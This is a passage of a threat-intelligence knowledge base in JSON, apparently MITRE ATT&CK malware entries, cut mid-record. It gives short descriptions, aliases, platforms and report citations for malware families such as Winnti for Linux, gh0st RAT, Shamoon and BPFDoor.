Linux","description":"[Winnti for Linux](https://attack.mitre.org/software/S0430) is a trojan, seen since at least 2015, designed specifically for targeting Linux systems. Reporting indicates the winnti malware family is shared across a number of actors including [Winnti Group](https://attack.mitre.org/groups/G0044). The Windows variant is tracked separately under [Winnti for Windows](https://attack.mitre.org/software/S0141).(Citation: Chronicle Winnti for Linux May 2019)","x_mitre_platforms":["Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Winnti for Linux"],"type":"malware","id":"malware--8787e86d-8475-4f13-acea-d33eb83b6105","created":"2020-04-29T15:06:59.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0430","external_id":"S0430"},{"source_name":"Chronicle Winnti for Linux May 2019","description":"Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020.","url":"https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-05T18:28:57.216Z","name":"RAPIDPULSE","description":"[RAPIDPULSE](https://attack.mitre.org/software/S1113) is a web shell that exists as a modification to a legitimate Pulse Secure file that has been used by [APT5](https://attack.mitre.org/groups/G1023) since at least 2021.(Citation: Mandiant Pulse Secure Update May 2021)","x_mitre_platforms":["Network","Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["RAPIDPULSE"],"type":"malware","id":"malware--880f7b3e-ad27-4158-8b03-d44c9357950b","created":"2024-02-13T17:50:25.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1113","external_id":"S1113"},{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-05-07T19:07:45.403Z","name":"gh0st RAT","description":"[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups.(Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)","x_mitre_platforms":["Windows","macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"3.3","x_mitre_aliases":["gh0st RAT","Mydoor","Moudoor"],"type":"malware","id":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","created":"2017-05-31T21:32:24.937Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0032","external_id":"S0032"},{"source_name":"gh0st RAT","description":"(Citation: FireEye Hacking Team)(Citation: Nccgroup Gh0st April 2018)"},{"source_name":"Mydoor","description":"(Citation: Novetta-Axiom)"},{"source_name":"Moudoor","description":"(Citation: Novetta-Axiom)"},{"source_name":"FireEye Hacking Team","description":"FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"},{"source_name":"Nccgroup Gh0st April 2018","description":"Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.","url":"https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/"},{"source_name":"Arbor Musical Chairs Feb 2018","description":"Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.","url":"https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-08T20:53:17.332Z","name":"Shamoon","description":"[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) and Filerase to carry out data wiping tasks. Analysis has linked [Shamoon](https://attack.mitre.org/software/S0140) with [Kwampirs](https://attack.mitre.org/software/S0236) based on multiple shared artifacts and coding patterns.(Citation: Cylera Kwampirs 2022) The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.2","x_mitre_aliases":["Shamoon","Disttrack"],"type":"malware","id":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","created":"2017-05-31T21:33:20.223Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0140","external_id":"S0140"},{"source_name":"Disttrack","description":"(Citation: Palo Alto Shamoon Nov 2016)"},{"source_name":"Unit 42 Shamoon3 2018","description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"},{"source_name":"Palo Alto Shamoon Nov 2016","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"},{"source_name":"FireEye Shamoon Nov 2016","description":"FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.","url":"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"},{"source_name":"Cylera Kwampirs 2022","description":"Pablo Rincón Crespo. (2022, January). The link between Kwampirs (Orangeworm) and Shamoon APTs. Retrieved February 8, 2024.","url":"https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf"},{"source_name":"Symantec Shamoon 2012","description":"Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.","url":"https://www.symantec.com/connect/blogs/shamoon-attacks"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-06T19:02:00.781Z","name":"Skeleton Key","description":"[Skeleton Key](https://attack.mitre.org/software/S0007) is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to [Skeleton Key](https://attack.mitre.org/software/S0007) is included as a module in [Mimikatz](https://attack.mitre.org/software/S0002).","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Skeleton Key"],"type":"malware","id":"malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49","created":"2017-05-31T21:32:13.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0007","external_id":"S0007"},{"source_name":"Dell Skeleton","description":"Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.","url":"https://www.secureworks.com/research/skeleton-key-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["DnsSystem"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900","created":"2022-06-24T14:02:05.144Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S1021","url":"https://attack.mitre.org/software/S1021"},{"source_name":"Zscaler Lyceum DnsSystem June 2022","url":"https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor","description":"Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DnsSystem](https://attack.mitre.org/software/S1021) is a .NET based DNS backdoor, which is a customized version of the open source tool DIG.net, that has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least June 2022.(Citation: Zscaler Lyceum DnsSystem June 2022)","modified":"2022-09-01T15:52:24.575Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"DnsSystem","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["MoleNet"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8a59f456-79a0-4151-9f56-9b1a67332af2","type":"malware","created":"2020-12-28T22:09:15.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0553","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0553"},{"source_name":"MoleNet","description":"(Citation: Cybereason Molerats Dec 2020)"},{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2021-04-27T02:20:58.446Z","name":"MoleNet","description":"[MoleNet](https://attack.mitre.org/software/S0553) is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.(Citation: Cybereason Molerats Dec 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["CORALDECK"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0212","external_id":"S0212"},{"source_name":"CORALDECK","description":"(Citation: FireEye APT37 Feb 2018)"},{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-30T15:13:24.829Z","name":"CORALDECK","description":"[CORALDECK](https://attack.mitre.org/software/S0212) is an exfiltration tool used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T01:49:50.568Z","name":"JHUHUGIT","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) is malware used by [APT28](https://attack.mitre.org/groups/G0007). It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.2","x_mitre_aliases":["JHUHUGIT","Trojan.Sofacy","Seduploader","JKEYSKW","Sednit","GAMEFISH","SofacyCarberp"],"type":"malware","id":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","created":"2017-05-31T21:32:34.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0044","external_id":"S0044"},{"source_name":"JHUHUGIT","description":"(Citation: FireEye APT28 January 2017)"},{"source_name":"JKEYSKW","description":"(Citation: FireEye APT28 January 2017)"},{"source_name":"GAMEFISH","description":"(Citation: FireEye APT28 January 2017)"},{"source_name":"Seduploader","description":"(Citation: FireEye APT28 January 2017)(Citation: Talos Seduploader Oct 2017)"},{"source_name":"SofacyCarberp","description":"(Citation: Unit 42 Sofacy Feb 2018)"},{"source_name":"ESET Sednit Part 1","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"},{"source_name":"F-Secure Sofacy 2015","description":"F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.","url":"https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/"},{"source_name":"FireEye APT28 January 2017","description":"FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"},{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"},{"source_name":"Unit 42 Sofacy Feb 2018","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/"},{"source_name":"Talos Seduploader Oct 2017","description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"},{"source_name":"Symantec APT28 Oct 2018","description":"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.","url":"https://www.symantec.com/blogs/election-security/apt28-espionage-military-government"},{"source_name":"Sednit","description":"This designation has been used in reporting both to refer to the threat group ([APT28](https://attack.mitre.org/groups/G0007)) and its associated malware.(Citation: FireEye APT28 January 2017)"},{"source_name":"Trojan.Sofacy","description":"This designation has been used in reporting both to refer to the threat group ([Skeleton Key](https://attack.mitre.org/software/S0007)) and its associated malware.(Citation: Symantec APT28 Oct 2018)"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SPACESHIP"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8b880b41-5139-4807-baa9-309690218719","type":"malware","created":"2017-05-31T21:32:28.257Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0035","external_id":"S0035"},{"url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","source_name":"FireEye APT30"}],"modified":"2020-03-30T03:05:20.517Z","name":"SPACESHIP","description":"[SPACESHIP](https://attack.mitre.org/software/S0035) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:49:24.851Z","name":"BLUELIGHT","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) is a remote access Trojan used by [APT37](https://attack.mitre.org/groups/G0067) that was first observed in early 2021.(Citation: Volexity InkySquid BLUELIGHT August 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["BLUELIGHT"],"type":"malware","id":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","created":"2021-10-01T20:26:49.502Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0657","external_id":"S0657"},{"source_name":"BLUELIGHT","description":"(Citation: Volexity InkySquid BLUELIGHT August 2021)"},{"source_name":"Volexity InkySquid BLUELIGHT August 2021","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T01:45:40.875Z","name":"KGH_SPY","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) is a modular suite of tools used by [Kimsuky](https://attack.mitre.org/groups/G0094) for reconnaissance, information stealing, and backdoor capabilities. [KGH_SPY](https://attack.mitre.org/software/S0526) derived its name from PDB paths and internal names found in samples containing \"KGH\".(Citation: Cybereason Kimsuky November 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["KGH_SPY"],"type":"malware","id":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","created":"2020-11-06T18:58:35.456Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0526","external_id":"S0526"},{"source_name":"Cybereason Kimsuky November 2020","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["down_new"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8be7c69e-d8e3-4970-9668-61de08e508cc","type":"malware","created":"2020-06-10T19:37:49.361Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0472","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0472"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.659Z","name":"down_new","description":" [down_new](https://attack.mitre.org/software/S0472) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Ixeshe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","type":"malware","created":"2017-05-31T21:32:16.360Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0015","external_id":"S0015"},{"url":"https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html","description":"Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly [Blog]. Retrieved November 12, 2014.","source_name":"Moran 2013"}],"modified":"2020-03-20T22:45:06.494Z","name":"Ixeshe","description":"[Ixeshe](https://attack.mitre.org/software/S0015) is a malware family that has been used since at least 2009 against targets in East Asia. (Citation: Moran 2013)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-04T11:08:25.923Z","name":"Micropsia","description":"[Micropsia](https://attack.mitre.org/software/S0339) is a remote access tool written in Delphi.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Micropsia"],"type":"malware","id":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","created":"2019-01-29T21:47:53.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0339","external_id":"S0339"},{"source_name":"Micropsia","description":"(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)"},{"source_name":"Talos Micropsia June 2017","description":"Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.","url":"https://blog.talosintelligence.com/2017/06/palestine-delphi.html"},{"source_name":"Radware Micropsia July 2018","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://www.radware.com/blog/security/2018/07/micropsia-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Kerrdown"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5","type":"malware","created":"2021-03-02T13:38:32.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0585","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0585"},{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."},{"source_name":"Unit 42 KerrDown February 2019","url":"https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/","description":"Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus’ new Downloader, KerrDown. Retrieved October 1, 2021."}],"modified":"2021-10-15T21:53:54.011Z","name":"Kerrdown","description":"[Kerrdown](https://attack.mitre.org/software/S0585) is a custom downloader that has been used by [APT32](https://attack.mitre.org/groups/G0050) since at least 2018 to install spyware from a server on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown February 2019)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["RARSTONE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8c553311-0baa-4146-997a-f79acef3d831","type":"malware","created":"2017-05-31T21:32:38.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0055","external_id":"S0055"},{"url":"http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/","description":"Aquino, M. (2013, June 13). RARSTONE Found In Targeted Attacks. Retrieved December 17, 2015.","source_name":"Aquino RARSTONE"}],"modified":"2020-03-30T17:24:58.616Z","name":"RARSTONE","description":"[RARSTONE](https://attack.mitre.org/software/S0055) is malware used by the [Naikon](https://attack.mitre.org/groups/G0019) group that has some characteristics similar to [PlugX](https://attack.mitre.org/software/S0013). (Citation: Aquino RARSTONE)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["VBShower"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8caa18af-4758-4fd3-9600-e8af579e89ed","type":"malware","created":"2020-05-08T20:43:25.743Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0442","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0442"},{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-12T20:56:07.174Z","name":"VBShower","description":"[VBShower](https://attack.mitre.org/software/S0442) is a backdoor that has been used by [Inception](https://attack.mitre.org/groups/G0100) since at least 2019. [VBShower](https://attack.mitre.org/software/S0442) has been used as a downloader for second stage payloads, including [PowerShower](https://attack.mitre.org/software/S0441).(Citation: Kaspersky Cloud Atlas August 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-23T21:26:40.646Z","name":"BPFDoor","description":"[BPFDoor](https://attack.mitre.org/software/S1161) is a Linux based passive long-term backdoor used by China-based threat actors. First seen in 2021, [BPFDoor](https://attack.mitre.org/software/S1161) is named after its usage of Berkley Packet Filter (BPF) to execute single task instructions. [BPFDoor](https://attack.mitre.org/software/S1161) supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP and can start local or reverse shells that bypass firewalls using iptables.(Citation: Sandfly BPFDoor 2022)(Citation: Deep Instinct BPFDoor 